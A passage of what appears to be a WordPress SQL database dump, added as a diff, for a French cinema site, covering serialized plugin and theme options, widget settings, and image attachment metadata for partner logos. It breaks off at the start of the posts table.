group.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Peter Anselmo";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:14;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:37:"jakemgold on "Secondary HTML Content"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:70:"http://wordpress.org/extend/plugins/secondary-html-content/#post-13650";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 18 Oct 2009 02:54:52 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"13650@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:144:"Add a up to 5 blocks of HTML content to pages and posts. Perfect for layouts with distinct content blocks, such as a sidebar or two column view.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:9:"jakemgold";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}}}}}}}}}}}}s:4:"type";i:128;s:7:"headers";a:7:{s:13:"last-modified";s:19:"2010-01-02 11:30:54";s:4:"etag";s:34:""40ca88f94d342c503bbea12011dc9cba"";s:12:"content-type";s:23:"text/xml; charset=UTF-8";s:14:"content-length";s:4:"7073";s:4:"date";s:29:"Fri, 12 Mar 2010 08:48:59 GMT";s:6:"server";s:9:"LiteSpeed";s:10:"connection";s:5:"close";}s:5:"build";s:14:"20090627192103";}', 'no'), +(142, 0, '_transient_timeout_feed_mod_1a5f760f2e2b48827d4974a60857e7c2', '1268427263', 'no'), +(143, 0, '_transient_feed_mod_1a5f760f2e2b48827d4974a60857e7c2', '1268384063', 'no'), +(144, 0, '_transient_timeout_plugin_slugs', '1268483466', 'no'), +(145, 0, '_transient_plugin_slugs', 'a:3:{i:0;s:19:"akismet/akismet.php";i:1;s:9:"hello.php";i:2;s:43:"hybrid-hook-widgets/hybrid-hook-widgets.php";}', 'no'), +(152, 0, 'inove_options', 'a:29:{s:10:"google_cse";b:0;s:13:"google_cse_cx";s:0:"";s:9:"menu_type";s:5:"pages";s:9:"nosidebar";b:0;s:6:"notice";b:0;s:14:"notice_content";s:0:"";s:17:"banner_registered";b:0;s:18:"banner_commentator";b:0;s:14:"banner_visitor";b:0;s:14:"banner_content";s:0:"";s:19:"showcase_registered";b:0;s:20:"showcase_commentator";b:0;s:16:"showcase_visitor";b:0;s:16:"showcase_caption";b:0;s:14:"showcase_title";s:0:"";s:16:"showcase_content";s:0:"";s:6:"author";b:1;s:10:"categories";b:1;s:4:"tags";b:1;s:9:"ctrlentry";b:0;s:12:"feed_readers";b:1;s:4:"feed";b:0;s:8:"feed_url";s:0:"";s:10:"feed_email";b:0;s:14:"feed_url_email";s:0:"";s:7:"twitter";b:0;s:16:"twitter_username";s:0:"";s:9:"analytics";b:0;s:17:"analytics_content";s:0:"";}', 'yes'), +(148, 0, 'lasttweet', 'a:4:{s:9:"lastcheck";i:1268394567;s:4:"data";s:0:"";s:7:"rawdata";a:0:{}s:9:"followers";N;}', 'yes'), +(180, 0, '_transient_timeout_wporg_theme_feature_list', '1268399523', 'no'), +(154, 0, 'widget_125_ad', 'a:2:{i:2;a:0:{}s:12:"_multiwidget";i:1;}', 'yes'), +(160, 0, 'sidebars_widgets', 'a:26:{s:19:"wp_inactive_widgets";a:6:{i:0;s:10:"calendar-2";i:1;s:6:"text-2";i:2;s:14:"recent-posts-2";i:3;s:17:"recent-comments-2";i:4;s:5:"rss-2";i:5;s:11:"tag_cloud-2";}s:13:"primary-aside";a:1:{i:0;s:6:"search";}s:15:"secondary-aside";a:3:{i:0;s:7:"links-2";i:1;s:9:"rss-links";i:2;s:4:"meta";}s:20:"1st-subsidiary-aside";a:0:{}s:20:"2nd-subsidiary-aside";a:0:{}s:20:"3rd-subsidiary-aside";a:0:{}s:9:"index-top";a:0:{}s:12:"index-insert";a:0:{}s:12:"index-bottom";a:0:{}s:10:"single-top";a:0:{}s:13:"single-insert";a:0:{}s:13:"single-bottom";a:0:{}s:8:"page-top";a:0:{}s:11:"page-bottom";a:0:{}s:16:"hook-before-html";a:0:{}s:15:"hook-after-html";a:0:{}s:18:"hook-before-header";a:0:{}s:11:"hook-header";a:0:{}s:17:"hook-after-header";a:0:{}s:21:"hook-before-container";a:0:{}s:20:"hook-after-container";a:0:{}s:18:"hook-before-footer";a:0:{}s:11:"hook-footer";a:0:{}s:17:"hook-after-footer";a:0:{}s:17:"hook-comment-form";a:0:{}s:13:"array_version";i:3;}', 'yes'), +(164, 0, 'apa_style_sheet', 'blue', 'yes'), +(165, 0, 'apa_Twitter', 'CineCastFr', 'yes'), +(168, 0, 'apa_feature_cat_name', '', 'yes'), +(169, 0, 'apa_ad300x250image', '', 'yes'), +(170, 0, 'apa_ad300x250destination', '', 'yes'), +(171, 0, 'apa_1_ad_image', '', 'yes'), +(172, 0, 'apa_1_ad_destination', '', 'yes'), +(173, 0, 'apa_2_ad_image', '', 'yes'), +(174, 0, 'apa_2_ad_destination', '', 'yes'), +(175, 0, 'apa_3_ad_image', '', 'yes'), +(176, 0, 'apa_4_ad_image', '', 'yes'), +(177, 0, 'apa_4_ad_destination', '', 'yes'), +(181, 0, '_transient_wporg_theme_feature_list', 'a:5:{s:6:"Colors";a:14:{i:0;s:5:"black";i:1;s:4:"blue";i:2;s:5:"brown";i:3;s:5:"green";i:4;s:6:"orange";i:5;s:4:"pink";i:6;s:6:"purple";i:7;s:3:"red";i:8;s:6:"silver";i:9;s:3:"tan";i:10;s:5:"white";i:11;s:6:"yellow";i:12;s:4:"dark";i:13;s:5:"light";}s:7:"Columns";a:6:{i:0;s:10:"one-column";i:1;s:11:"two-columns";i:2;s:13:"three-columns";i:3;s:12:"four-columns";i:4;s:12:"left-sidebar";i:5;s:13:"right-sidebar";}s:5:"Width";a:2:{i:0;s:11:"fixed-width";i:1;s:14:"flexible-width";}s:8:"Features";a:10:{i:0;s:13:"custom-colors";i:1;s:13:"custom-header";i:2;s:13:"theme-options";i:3;s:17:"threaded-comments";i:4;s:11:"sticky-post";i:5;s:12:"microformats";i:6;s:20:"rtl-language-support";i:7;s:17:"translation-ready";i:8;s:20:"front-page-post-form";i:9;s:10:"buddypress";}s:7:"Subject";a:3:{i:0;s:7:"holiday";i:1;s:13:"photoblogging";i:2;s:8:"seasonal";}}', 'no'); + +-- -------------------------------------------------------- + +-- +-- Structure de la table `wp_postmeta` +-- + +DROP TABLE IF EXISTS `wp_postmeta`; +CREATE TABLE IF NOT EXISTS `wp_postmeta` ( + `meta_id` bigint(20) unsigned NOT NULL auto_increment, + `post_id` bigint(20) unsigned NOT NULL default '0', + `meta_key` varchar(255) default NULL, + `meta_value` longtext, + PRIMARY KEY (`meta_id`), + KEY `post_id` (`post_id`), + KEY `meta_key` (`meta_key`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=83 ; + +-- +-- Contenu de la table `wp_postmeta` +-- + +INSERT DELAYED IGNORE INTO `wp_postmeta` (`meta_id`, `post_id`, `meta_key`, `meta_value`) VALUES +(1, 3, '_edit_lock', '1268395108'), +(2, 3, '_edit_last', '1'), +(7, 6, '_edit_lock', '1268393598'), +(8, 6, '_edit_last', '1'), +(15, 2, '_wp_page_template', 'default'), +(14, 9, '_edit_last', '1'), +(13, 9, '_edit_lock', '1268393767'), +(16, 2, '_edit_lock', '1268389323'), +(17, 2, '_edit_last', '1'), +(18, 9, '_wp_page_template', 'default'), +(19, 19, '_edit_lock', '1268392831'), +(20, 19, '_edit_last', '1'), +(21, 19, '_wp_page_template', 'default'), +(22, 23, '_edit_lock', '1268391384'), +(23, 23, '_edit_last', '1'), +(24, 24, '_edit_lock', '1268399414'), +(25, 24, '_edit_last', '1'), +(26, 24, '_wp_page_template', 'default'), +(27, 27, '_wp_page_template', 'default'), +(28, 27, '_edit_lock', '1268393628'), +(29, 27, '_edit_last', '1'), +(34, 3, '_wp_trash_meta_status', 'publish'), +(35, 3, '_wp_trash_meta_time', '1268395111'), +(36, 1, '_edit_lock', '1268395117'), +(37, 1, '_edit_last', '1'), +(38, 1, '_wp_trash_meta_status', 'publish'), +(39, 1, '_wp_trash_meta_time', '1268395121'), +(40, 1, '_wp_trash_meta_comments_status', 'a:1:{i:1;s:1:"1";}'), +(41, 40, '_wp_attached_file', '2010/03/te_lesitetv.jpg'), +(42, 40, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:3:"776";s:6:"height";s:2:"65";s:14:"hwstring_small";s:23:"height=''10'' width=''128''";s:4:"file";s:23:"2010/03/te_lesitetv.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:22:"te_lesitetv-150x65.jpg";s:5:"width";s:3:"150";s:6:"height";s:2:"65";}s:6:"medium";a:3:{s:4:"file";s:22:"te_lesitetv-300x25.jpg";s:5:"width";s:3:"300";s:6:"height";s:2:"25";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(43, 41, '_wp_attached_file', '2010/03/oniram_logo_06_out.gif'), +(44, 41, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:3:"345";s:6:"height";s:3:"208";s:14:"hwstring_small";s:23:"height=''77'' width=''128''";s:4:"file";s:30:"2010/03/oniram_logo_06_out.gif";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:30:"oniram_logo_06_out-150x150.gif";s:5:"width";s:3:"150";s:6:"height";s:3:"150";}s:6:"medium";a:3:{s:4:"file";s:30:"oniram_logo_06_out-300x180.gif";s:5:"width";s:3:"300";s:6:"height";s:3:"180";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(45, 42, '_wp_attached_file', '2010/03/logo-cinematheque-francaise.gif'), +(46, 42, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:3:"247";s:6:"height";s:3:"105";s:14:"hwstring_small";s:23:"height=''54'' width=''128''";s:4:"file";s:39:"2010/03/logo-cinematheque-francaise.gif";s:5:"sizes";a:1:{s:9:"thumbnail";a:3:{s:4:"file";s:39:"logo-cinematheque-francaise-150x105.gif";s:5:"width";s:3:"150";s:6:"height";s:3:"105";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(47, 43, '_wp_attached_file', '2010/03/logo_transparent.gif'), +(48, 43, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:3:"203";s:6:"height";s:2:"49";s:14:"hwstring_small";s:23:"height=''30'' width=''128''";s:4:"file";s:28:"2010/03/logo_transparent.gif";s:5:"sizes";a:1:{s:9:"thumbnail";a:3:{s:4:"file";s:27:"logo_transparent-150x49.gif";s:5:"width";s:3:"150";s:6:"height";s:2:"49";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(49, 44, '_wp_attached_file', '2010/03/logo_telecom_paristech.png'), +(50, 44, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:3:"342";s:6:"height";s:3:"342";s:14:"hwstring_small";s:22:"height=''96'' width=''96''";s:4:"file";s:34:"2010/03/logo_telecom_paristech.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:34:"logo_telecom_paristech-150x150.png";s:5:"width";s:3:"150";s:6:"height";s:3:"150";}s:6:"medium";a:3:{s:4:"file";s:34:"logo_telecom_paristech-300x300.png";s:5:"width";s:3:"300";s:6:"height";s:3:"300";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(51, 45, '_wp_attached_file', '2010/03/logo_netia.gif'), +(52, 45, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:4:"1000";s:6:"height";s:3:"164";s:14:"hwstring_small";s:23:"height=''20'' width=''128''";s:4:"file";s:22:"2010/03/logo_netia.gif";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:22:"logo_netia-150x150.gif";s:5:"width";s:3:"150";s:6:"height";s:3:"150";}s:6:"medium";a:3:{s:4:"file";s:21:"logo_netia-300x49.gif";s:5:"width";s:3:"300";s:6:"height";s:2:"49";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(53, 46, '_wp_attached_file', '2010/03/logo_list.gif'), +(54, 46, '_wp_attachment_metadata', 'a:5:{s:5:"width";s:3:"131";s:6:"height";s:2:"49";s:14:"hwstring_small";s:23:"height=''47'' width=''128''";s:4:"file";s:21:"2010/03/logo_list.gif";s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(55, 47, '_wp_attached_file', '2010/03/logo_liris.png'), +(56, 47, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:3:"160";s:6:"height";s:2:"72";s:14:"hwstring_small";s:23:"height=''57'' width=''128''";s:4:"file";s:22:"2010/03/logo_liris.png";s:5:"sizes";a:1:{s:9:"thumbnail";a:3:{s:4:"file";s:21:"logo_liris-150x72.png";s:5:"width";s:3:"150";s:6:"height";s:2:"72";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(57, 48, '_wp_attached_file', '2010/03/Logo_ina.png'), +(58, 48, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:3:"355";s:6:"height";s:3:"379";s:14:"hwstring_small";s:22:"height=''96'' width=''89''";s:4:"file";s:20:"2010/03/Logo_ina.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:20:"Logo_ina-150x150.png";s:5:"width";s:3:"150";s:6:"height";s:3:"150";}s:6:"medium";a:3:{s:4:"file";s:20:"Logo_ina-281x300.png";s:5:"width";s:3:"281";s:6:"height";s:3:"300";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(59, 49, '_wp_attached_file', '2010/03/Logo_ina1.png'), +(60, 49, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:3:"355";s:6:"height";s:3:"379";s:14:"hwstring_small";s:22:"height=''96'' width=''89''";s:4:"file";s:21:"2010/03/Logo_ina1.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:21:"Logo_ina1-150x150.png";s:5:"width";s:3:"150";s:6:"height";s:3:"150";}s:6:"medium";a:3:{s:4:"file";s:21:"Logo_ina1-281x300.png";s:5:"width";s:3:"281";s:6:"height";s:3:"300";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(61, 50, '_wp_attached_file', '2010/03/logo_fdi.png'), +(62, 50, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:3:"159";s:6:"height";s:2:"89";s:14:"hwstring_small";s:23:"height=''71'' width=''128''";s:4:"file";s:20:"2010/03/logo_fdi.png";s:5:"sizes";a:1:{s:9:"thumbnail";a:3:{s:4:"file";s:19:"logo_fdi-150x89.png";s:5:"width";s:3:"150";s:6:"height";s:2:"89";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(63, 51, '_wp_attached_file', '2010/03/logo_exalead.jpg'), +(64, 51, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:3:"279";s:6:"height";s:3:"129";s:14:"hwstring_small";s:23:"height=''59'' width=''128''";s:4:"file";s:24:"2010/03/logo_exalead.jpg";s:5:"sizes";a:1:{s:9:"thumbnail";a:3:{s:4:"file";s:24:"logo_exalead-150x129.jpg";s:5:"width";s:3:"150";s:6:"height";s:3:"129";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(65, 52, '_wp_attached_file', '2010/03/logo_allocine.gif'), +(66, 52, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:3:"234";s:6:"height";s:2:"57";s:14:"hwstring_small";s:23:"height=''31'' width=''128''";s:4:"file";s:25:"2010/03/logo_allocine.gif";s:5:"sizes";a:1:{s:9:"thumbnail";a:3:{s:4:"file";s:24:"logo_allocine-150x57.gif";s:5:"width";s:3:"150";s:6:"height";s:2:"57";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(67, 53, '_wp_attached_file', '2010/03/logo.png'), +(68, 53, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:3:"159";s:6:"height";s:2:"89";s:14:"hwstring_small";s:23:"height=''71'' width=''128''";s:4:"file";s:16:"2010/03/logo.png";s:5:"sizes";a:1:{s:9:"thumbnail";a:3:{s:4:"file";s:15:"logo-150x89.png";s:5:"width";s:3:"150";s:6:"height";s:2:"89";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(69, 54, '_wp_attached_file', '2010/03/logo.gif'), +(70, 54, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:3:"223";s:6:"height";s:2:"80";s:14:"hwstring_small";s:23:"height=''45'' width=''128''";s:4:"file";s:16:"2010/03/logo.gif";s:5:"sizes";a:1:{s:9:"thumbnail";a:3:{s:4:"file";s:15:"logo-150x80.gif";s:5:"width";s:3:"150";s:6:"height";s:2:"80";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(71, 55, '_wp_attached_file', '2010/03/iri.png'), +(72, 55, '_wp_attachment_metadata', 'a:5:{s:5:"width";s:3:"140";s:6:"height";s:2:"67";s:14:"hwstring_small";s:23:"height=''61'' width=''128''";s:4:"file";s:15:"2010/03/iri.png";s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(73, 56, '_wp_attached_file', '2010/03/globcast_logo.gif'), +(74, 56, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:3:"185";s:6:"height";s:2:"48";s:14:"hwstring_small";s:23:"height=''33'' width=''128''";s:4:"file";s:25:"2010/03/globcast_logo.gif";s:5:"sizes";a:1:{s:9:"thumbnail";a:3:{s:4:"file";s:24:"globcast_logo-150x48.gif";s:5:"width";s:3:"150";s:6:"height";s:2:"48";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(75, 57, '_wp_attached_file', '2010/03/globcast_logo1.gif'), +(76, 57, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:3:"185";s:6:"height";s:2:"48";s:14:"hwstring_small";s:23:"height=''33'' width=''128''";s:4:"file";s:26:"2010/03/globcast_logo1.gif";s:5:"sizes";a:1:{s:9:"thumbnail";a:3:{s:4:"file";s:25:"globcast_logo1-150x48.gif";s:5:"width";s:3:"150";s:6:"height";s:2:"48";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(77, 58, '_wp_attached_file', '2010/03/exalead_logo.png'), +(78, 58, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:3:"208";s:6:"height";s:3:"168";s:14:"hwstring_small";s:23:"height=''96'' width=''118''";s:4:"file";s:24:"2010/03/exalead_logo.png";s:5:"sizes";a:1:{s:9:"thumbnail";a:3:{s:4:"file";s:24:"exalead_logo-150x150.png";s:5:"width";s:3:"150";s:6:"height";s:3:"150";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(79, 59, '_wp_attached_file', '2010/03/bpi_logo_noir.jpg'), +(80, 59, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:4:"1192";s:6:"height";s:3:"358";s:14:"hwstring_small";s:23:"height=''38'' width=''128''";s:4:"file";s:25:"2010/03/bpi_logo_noir.jpg";s:5:"sizes";a:3:{s:9:"thumbnail";a:3:{s:4:"file";s:25:"bpi_logo_noir-150x150.jpg";s:5:"width";s:3:"150";s:6:"height";s:3:"150";}s:6:"medium";a:3:{s:4:"file";s:24:"bpi_logo_noir-300x90.jpg";s:5:"width";s:3:"300";s:6:"height";s:2:"90";}s:5:"large";a:3:{s:4:"file";s:26:"bpi_logo_noir-1024x307.jpg";s:5:"width";s:4:"1024";s:6:"height";s:3:"307";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'), +(81, 60, '_wp_attached_file', '2010/03/600px-Logo_BnF_svg.png'), +(82, 60, '_wp_attachment_metadata', 'a:6:{s:5:"width";s:3:"600";s:6:"height";s:3:"476";s:14:"hwstring_small";s:23:"height=''96'' width=''121''";s:4:"file";s:30:"2010/03/600px-Logo_BnF_svg.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:30:"600px-Logo_BnF_svg-150x150.png";s:5:"width";s:3:"150";s:6:"height";s:3:"150";}s:6:"medium";a:3:{s:4:"file";s:30:"600px-Logo_BnF_svg-300x238.png";s:5:"width";s:3:"300";s:6:"height";s:3:"238";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}}'); + +-- -------------------------------------------------------- + +-- +-- Structure de la table `wp_posts` +-- + +DROP TABLE IF EXISTS `wp_posts`; +CREATE TABLE IF NOT EXISTS `wp_posts` ( + `ID` bigint(20) unsigned NOT NULL auto_increment, + `post_author` bigint(20) unsigned NOT NULL default '0', + `post_date` datetime NOT NULL default '0000-00-00 00:00:00', + `post_date_gmt` datetime NOT NULL default '0000-00-00 00:00:00', + `post_content` longtext NOT NULL, + `post_title` text NOT NULL, + `post_excerpt` text NOT NULL, + `post_status` varchar(20) NOT NULL default 'publish', + `comment_status` varchar(20) NOT NULL default 'open', + `ping_status` varchar(20) NOT NULL default 'open', + `post_password` varchar(20) NOT NULL default '', + `post_name` varchar(200) NOT NULL default '', + `to_ping` text NOT NULL, + `pinged` text NOT NULL, + `post_modified` datetime NOT NULL default '0000-00-00 00:00:00', + `post_modified_gmt` datetime NOT NULL default '0000-00-00 00:00:00', + `post_content_filtered` text NOT NULL, + `post_parent` bigint(20) unsigned NOT NULL default '0', + `guid` varchar(255) NOT NULL default '', + `menu_order` int(11) NOT NULL default '0', + `post_type` varchar(20) NOT NULL default 'post', + `post_mime_type` varchar(100) NOT NULL default '', + `comment_count` bigint(20) NOT NULL default '0', + PRIMARY KEY (`ID`), + KEY `post_name` (`post_name`), + KEY `type_status_date` (`post_type`,`post_status`,`post_date`,`ID`), + KEY `post_parent` (`post_parent`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=65 ; + +-- +-- Contenu de la table `wp_posts` +-- + +INSERT DELAYED IGNORE INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES +(1, 1, '2010-03-12 08:51:22', '2010-03-12 08:51:22', 'Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!', 'Hello world!', '', 'trash', 'open', 'open', '', 'hello-world', '', '', '2010-03-12 11:58:41', '2010-03-12 11:58:41', '', 0, 'http://129.102.224.15/dev/~hurons/cinecast.fr/?p=1', 0, 